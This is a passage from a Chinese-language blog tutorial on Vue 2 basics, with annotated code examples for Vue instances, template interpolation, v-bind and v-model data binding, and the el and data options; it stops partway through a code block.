

<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=&#34;auto&#34;>



<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="/img/favicon.ico">
  <link rel="icon" href="/img/favicon.ico">
  <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="description" content="叶尘的技术升级小木屋">
  <meta name="author" content="叶尘">
  <meta name="keywords" content="">
  
  <title>Vue基础 - 叶尘的技术升级小木屋</title>

  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css" />


  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/github-markdown-css@4.0.0/github-markdown.min.css" />
  <link  rel="stylesheet" href="/lib/hint/hint.min.css" />

  
    
    
      
      <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/highlight.js@10.7.2/styles/github-gist.min.css" />
    
  

  
    <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.css" />
  



<!-- 主题依赖的图标库，不要自行修改 -->

<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_ba1fz6golrf.css">



<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">


<link  rel="stylesheet" href="/css/main.css" />

<!-- 自定义样式保持在最底部 -->

  
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/bynotes/texiao/source/css/shubiao.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/bynotes/texiao/source/css/gundongtiao.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/bynotes/texiao/source/css/daziyanse.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/bynotes/texiao/source/css/toubudaziji.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.css">



  <script id="fluid-configs">
    var Fluid = window.Fluid || {};
    var CONFIG = {"hostname":"www.yechen-blog.cn","root":"/","version":"1.8.11","typing":{"enable":true,"typeSpeed":70,"cursorChar":"_","loop":false},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"right","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"copy_btn":true,"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":0},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":false,"baidu":null,"google":null,"gtag":null,"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":null,"app_key":null,"server_url":null}},"search_path":"/local-search.xml"};
  </script>
  <script  src="/js/utils.js" ></script>
  <script  src="/js/color-schema.js" ></script>
<meta name="generator" content="Hexo 5.4.0"></head>


<body>
  <header style="height: 70vh;">
    <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand"
       href="/">&nbsp;<strong>YECHEN</strong>&nbsp;</a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/">
                <i class="iconfont icon-home-fill"></i>
                首页
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/categories/">
                <i class="iconfont icon-qrcode"></i>
                分类
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/tags/">
                <i class="iconfont icon-tags-fill"></i>
                标签
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/about/">
                <i class="iconfont icon-user-fill"></i>
                关于
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/playlist/">
                <i class="iconfont icon-music"></i>
                音乐
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item dropdown">
              <a class="nav-link dropdown-toggle" target="_self" role="button"
                 data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                <i class="iconfont icon-books"></i>
                链接
              </a>
              <div class="dropdown-menu" aria-labelledby="navbarDropdown">
                
                  
                  
                  
                  <a class="dropdown-item" target="_blank" rel="noopener" href="https://hexo.fluid-dev.com/">
                    
                    主题博客
                  </a>
                
                  
                  
                  
                  <a class="dropdown-item" target="_blank" rel="noopener" href="https://hexo.fluid-dev.com/docs/guide/">
                    
                    配置指南
                  </a>
                
                  
                  
                  
                  <a class="dropdown-item" target="_blank" rel="noopener" href="https://hexo.fluid-dev.com/docs/icon/">
                    
                    图标用法
                  </a>
                
                  
                  
                  
                  <a class="dropdown-item" target="_blank" rel="noopener" href="https://www.bilibili.com">
                    
                    哔哩哔哩
                  </a>
                
              </div>
            </li>
          
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" target="_self" data-toggle="modal" data-target="#modalSearch">&nbsp;<i
                class="iconfont icon-search"></i>&nbsp;</a>
          </li>
        
        
          <li class="nav-item" id="color-toggle-btn">
            <a class="nav-link" target="_self">&nbsp;<i
                class="iconfont icon-dark" id="color-toggle-icon"></i>&nbsp;</a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

    <div class="banner" id="banner" parallax=true
         style="background: url('/img/banner.jpg') no-repeat center center;
           background-size: cover;">
      <div class="full-bg-img">
        <div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0.3)">
          <div class="page-header text-center fade-in-up">
            <span class="h2" id="subtitle" title="Vue基础">
              
            </span>

            
              <div class="mt-3">
  
    <span class="post-meta mr-2">
      <i class="iconfont icon-author" aria-hidden="true"></i>
      叶尘
    </span>
  
  
    <span class="post-meta">
      <i class="iconfont icon-date-fill" aria-hidden="true"></i>
      <time datetime="2021-10-02 14:26" pubdate>
        星期六, 十月 2日 2021, 2:26 下午
      </time>
    </span>
  
</div>

<div class="mt-1">
  
    
    <span class="post-meta mr-2">
      <i class="iconfont icon-chart"></i>
      21.2k 字
    </span>
  

  
    
    <span class="post-meta mr-2">
      <i class="iconfont icon-clock-fill"></i>
      
      
      316
       分钟
    </span>
  

  
  
    
      <!-- LeanCloud 统计文章PV -->
      <span id="leancloud-page-views-container" class="post-meta" style="display: none">
        <i class="iconfont icon-eye" aria-hidden="true"></i>
        <span id="leancloud-page-views"></span> 次
      </span>
    
  
</div>

            
          </div>

          
        </div>
      </div>
    </div>
  </header>

  <main>
    
      

<div class="container-fluid nopadding-x">
  <div class="row nomargin-x">
    <div class="d-none d-lg-block col-lg-2"></div>
    <div class="col-lg-8 nopadding-x-md">
      <div class="container nopadding-x-md" id="board-ctn">
        <div class="py-5" id="board">
          <article class="post-content mx-auto">
            <!-- SEO header -->
            <h1 style="display: none">Vue基础</h1>
            
            <div class="markdown-body">
              <h2 id="1-初识-Vue"><a href="#1-初识-Vue" class="headerlink" title="1.初识 Vue"></a>1.初识 Vue</h2><p>01_初识Vue.html</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>初识Vue<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Hello &#123;&#123;name&#125;&#125; 在 &#123;&#123;address.toUpperCase()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">        Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">        <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">            <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,<span class="hljs-comment">// el 用于指定当前 Vue 实例为哪个容器服务，值通常为 css 选择器</span></span><br><span class="javascript">            <span class="hljs-attr">data</span>: &#123;<span class="hljs-comment">// data 中用于存储数据，数据供 el 指定的容器去使用，值我们先写成一个对象</span></span><br><span class="javascript">                <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">                <span class="hljs-attr">address</span>: <span class="hljs-string">&quot;beijing&quot;</span></span><br><span class="javascript">            &#125;     </span><br><span class="javascript">        &#125;);</span><br><span class="javascript">        </span><br><span class="javascript">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br>    <br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.1daj8gt2ifb4.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>总结：</p>
<ol>
<li>想让 Vue 工作，就必须创建一个 Vue 实例，并且要传入一个配置对象。</li>
<li>root 容器中的代码依然符合 html 规范，只不过混入了一些特殊的 Vue 语法。</li>
<li>root 容器里的代码被称为 <strong>Vue 模板</strong>。</li>
<li>Vue 实例和容器是<strong>一一对应的</strong>。</li>
<li>真实开发中只有一个 Vue 实例，并且会配合着<strong>组件</strong>一起使用。</li>
<li> 中的 xxx 要写js 表达式，并且 xxx 可以自动读取到 data 中的所有属性。</li>
<li>一旦 data 中的数据发生改变，那么页面中的用到该数据的地方也会自动更新。</li>
</ol>
<p>注意区分：js表达式 和 js代码(语句)</p>
<ol>
<li>表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：<br>(1). a<br>(2). a+b<br>(3). demo(1)<br>(4). x === y ? ‘a’ : ‘b’</li>
<li>js代码(语句)<br>(1). if(){}<br>(2). for(){}</li>
</ol>
<h2 id="2-Vue-模板语法"><a href="#2-Vue-模板语法" class="headerlink" title="2.Vue 模板语法"></a>2.Vue 模板语法</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>初识Vue<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>插值语法<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>你好，&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>指令语法<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">v-bind:href</span>=<span class="hljs-string">&quot;web.url&quot;</span>&gt;</span>跳转到&#123;&#123;web.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- v-bind: 的简写 --&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">:href</span>=<span class="hljs-string">&quot;web.url.toUpperCase()&quot;</span>&gt;</span>跳转到&#123;&#123;web.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">        Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">        <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">            <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">            <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;Jack&quot;</span>,</span><br><span class="javascript">                <span class="hljs-attr">web</span>: &#123;</span><br><span class="javascript">                    <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;百度&quot;</span>,</span><br><span class="javascript">                    <span class="hljs-attr">url</span>: <span class="hljs-string">&quot;https://www.baidu.com&quot;</span></span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;     </span><br><span class="javascript">        &#125;);</span><br><span class="javascript">        </span><br><span class="javascript">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br>    <br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.5q3dkv026400.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.187vt4ga5r34.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>总结：</p>
<ol>
<li><p>插值语法：</p>
<p>功能：用于解析<strong>标签体</strong>内容。</p>
<p>写法：，xxx 是 js 表达式，且可以直接读取到 data 中的所有属性值。</p>
</li>
<li><p>指令语法：</p>
<p>功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…..）。</p>
<p>举例：v-bind:href = “xxx” 或 简写为 :href=”xxx”，xxx 同样要写 js 表达式，且可以直接读取到 data 中的所有属性。</p>
<blockquote>
<p><strong>备注：Vue 中有很多指令，且形式都是：v-???，此处只是拿 v-bind 来举例。</strong></p>
</blockquote>
</li>
</ol>
<h2 id="3-数据绑定"><a href="#3-数据绑定" class="headerlink" title="3.数据绑定"></a>3.数据绑定</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>初识Vue<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>        单向数据绑定：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-bind:value</span>=<span class="hljs-string">&quot;name&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        双向数据绑定：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model:value</span>=<span class="hljs-string">&quot;name&quot;</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- v-model:value 可以简写为 v-model --&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        双向数据绑定：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;name&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- 如下代码是错误的，因为 v-model 只能引用在表单类的元素上 --&gt;</span><br>         <span class="hljs-comment">&lt;!--&lt;h2 v-model:x=&quot;name&quot;&gt;你好啊&lt;/h2&gt;--&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">        Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">        <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">            <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">            <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">            &#125;     </span><br><span class="javascript">        &#125;);</span><br><span class="javascript">        </span><br><span class="javascript">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br>    <br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.6winhhalfgo0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>当使用 v-model 绑定 x 属性时（<code>&lt;h2 v-model:x=&quot;name&quot;&gt;你好啊&lt;/h2&gt;</code>），会出现错误 </p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.3ak4v8p2r0q0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>总结：</p>
<p>Vue 中有两种数据绑定的方式：</p>
<ol>
<li>单向绑定（v-bind）：数据只能从 data 流向页面。</li>
<li>双向绑定（v-model）：数据不仅能从 data 流向页面，还可以获取页面输入的数据，从页面流向 data。</li>
</ol>
<blockquote>
<p>备注：</p>
<ol>
<li>双向绑定一般都应用在表单元素上（如 input、select 等）。</li>
<li><strong>v-model:value 可以简写为 v-model</strong>，因为 v-model 默认收集的就是 value 的值。</li>
</ol>
</blockquote>
<h2 id="4-el-和-data-的两种写法"><a href="#4-el-和-data-的两种写法" class="headerlink" title="4.el 和 data 的两种写法"></a>4.el 和 data 的两种写法</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>el和data的两种写法<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">/*// el 的两种写法</span></span><br><span class="hljs-comment"><span class="javascript">    const v = new Vue(&#123;</span></span><br><span class="hljs-comment"><span class="javascript">        // 第二种写法</span></span><br><span class="hljs-comment"><span class="javascript">        // el: &#x27;#root&#x27;,</span></span><br><span class="hljs-comment"><span class="javascript">        data: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">            name: &quot;尚硅谷&quot;,</span></span><br><span class="hljs-comment"><span class="javascript">        &#125;</span></span><br><span class="hljs-comment"><span class="javascript">    &#125;);</span></span><br><span class="hljs-comment"><span class="javascript">    console.log(v);</span></span><br><span class="hljs-comment"><span class="javascript">    // 第一种写法</span></span><br><span class="hljs-comment"><span class="javascript">    v.$mount(&#x27;#root&#x27;);*/</span></span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        </span><br><span class="javascript">        <span class="hljs-comment">// data 的第一种写法，对象式</span></span><br><span class="javascript">        <span class="hljs-comment">/*data: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">            name: &quot;尚硅谷&quot;</span></span><br><span class="hljs-comment"><span class="javascript">        &#125;*/</span></span><br><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// data 的第二种写法，函数式</span></span><br><span class="javascript">        <span 